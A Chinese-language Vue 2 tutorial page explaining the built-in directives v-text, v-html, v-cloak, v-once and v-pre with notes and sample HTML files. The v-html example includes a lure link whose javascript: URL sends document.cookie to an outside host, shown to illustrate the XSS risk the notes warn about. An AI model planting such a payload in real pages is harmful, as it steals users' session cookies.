内置指令

文章发布较早，内容可能过时，阅读注意甄别。

# `笔记`

本文将笔记统一前置整理：

我们学过的指令：

v-bind: 单向绑定解析表达式，可简写为 :xxx
v-model: 双向数据绑定
v-for: 遍历数组/对象/字符串
v-on: 绑定事件监听，可简写为 @
v-if: 条件渲染(动态控制节点是否存在)
v-else: 条件渲染(动态控制节点是否存在)
v-show: 条件渲染(动态控制节点是否展示)
v-text 指令：
- 作用：向其所在的节点中渲染文本内容
- 与插值语法的区别：v-text 会替换掉节点中的内容，{{xx}}则不会
v-html 指令：
- 作用：向指定节点中渲染包含 html 结构的内容。
- 与插值语法的区别：
  1. v-html 会替换掉节点中所有的内容，{{xx}}不会
  2. v-html 可以识别 html 结构
- 严重注意：v-html 有安全性问题！！！
  1. 在网站上动态渲染任意 html 是非常危险的，容易导致 XSS 攻击。
  2. 一定要在可信的内容上使用 v-html，永远不要在用户提交的内容上使用 v-html。
v-cloak 指令(没有值)：
- 本质上是一个特殊属性，Vue 示例创建完毕并接管容器后，会删掉 v-cloak 属性。
- 使用 css 配合 v-cloak 可以解决网络慢时页面展示出{{xx}}插值语法的问题.
v-once
- v-once 所在节点在初次动态渲染后，就视为静态内容了。
- 以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能。
v-pre 指令：
- 跳过其所在节点的编译过程
- 可利用它跳过：没有使用指令语法，没有使用插值语法的节点，会加快编译 :::

# v-text 指令

# `代码`

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>内置指令v-text</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <div>你好，{{name}}</div>
      <div v-text="name"></div>
      <div v-text="str"></div>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false; // 禁用提示
      new Vue({
        el: "#root",
        data: {
          name: "eryajf",
          str: "<h3>你好<h3>",
        },
      });
    </script>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# v-html 指令

# `代码`

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>内置指令-v-html</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <div>你好，{{name}}</div>
      <div v-text="str"></div>
      <div v-html="str2"></div>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false; // 禁用提示
      new Vue({
        el: "#root",
        data: {
          name: "eryajf",
          str: "<h3>你好<h3>",
          str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        },
      });
    </script>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# v-cloak 指令

# `代码`

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>内置指令-v-cloak</title>
    <style>
      [v-cloak] {
        display: none;
      }
    </style>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <div v-cloak>{{name}}</div>
    </div>
    <script
      type="text/javascript"
      src="http://localhost:8080/resource/5s/vue.js"
    ></script>
  </body>

  <script type="text/javascript">
    console.log("1");
    Vue.config.productionTip = false; // 禁用提示
    new Vue({
      el: "#root",
      data: {
        name: "eryajf",
      },
    });
  </script>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# v-once 指令

# `代码`

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>内置指令-v-once</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2 v-once>原始的n值为:{{n}}</h2>
      <h2>当前的n值为:{{n}}</h2>
      <button @click="n++">点我给n加1</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false; // 禁用提示
      new Vue({
        el: "#root",
        data: {
          n: 1,
        },
      });
    </script>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# v-pre 指令

# `代码`

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>内置指令-v-pre</title>
    <script src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <h2>当前的n值为:{{n}}</h2>
      <button @click="n++">点我给n加1</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false; // 禁用提示
      new Vue({
        el: "#root",
        data: {
          n: 1,
        },
      });
    </script>
  </body>
</html>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

上次更新: 2024/06/13, 22:13:45

← 过滤器自定义指令→

内置指令

# 笔记

# v-text 指令

# 代码

# v-html 指令

# 代码

# v-cloak 指令

# 代码

# v-once 指令

# 代码

# v-pre 指令

# 代码

# `笔记`

# `代码`

# `代码`

# `代码`

# `代码`

# `代码`